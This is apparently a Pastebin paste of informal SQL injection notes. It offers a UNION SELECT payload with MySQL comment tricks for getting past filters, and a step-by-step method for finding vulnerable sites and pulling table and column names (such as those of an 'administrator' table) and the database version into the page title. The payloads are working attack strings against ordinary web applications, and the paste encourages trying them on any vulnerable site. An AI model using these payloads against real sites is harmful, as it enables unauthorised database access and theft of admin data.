Advertisement
Kyfx

SQLi Print LEET and other kind of crap info on :D Hex Trans

Jul 3rd, 2015
385
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.70 KB | None | 0 0
  1. Which Tag Use In Sqli For Print Tables And Columns Into The Main Page
  2. Help Me, Here Is My Code
  3. php?id=-5' /*!50000UNION*/ SELECT 1,2,3,/*!50000GrOuP_cOnCaT(column_name)*/,5,6,7,8,9,10,11,12,13 /*!50000from*/ Information_schema.columns where table_name=0x61646d696e6973747261746f72--+
  4.  
  5.  
  6.  
  7.  
  8. <title> hex it and put in script
  9.  
  10.  
  11. ==> find vuln site and try this step in those site which gives your result in title
  12.  
  13.  
  14.  
  15. [+]===> </title> use this in hex
  16. so... query while be this 0x</title> in HEX
  17.  
  18. Now if we use it in site then query will be
  19. www.site.com/index.php?id=2+union+select 1,2,3,4
  20. So vuln column is 2 then
  21. www.site.com/index.php?id=2+union+select 1,concat(0x</title>(IN HEX),0x3a,version()),3,4
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement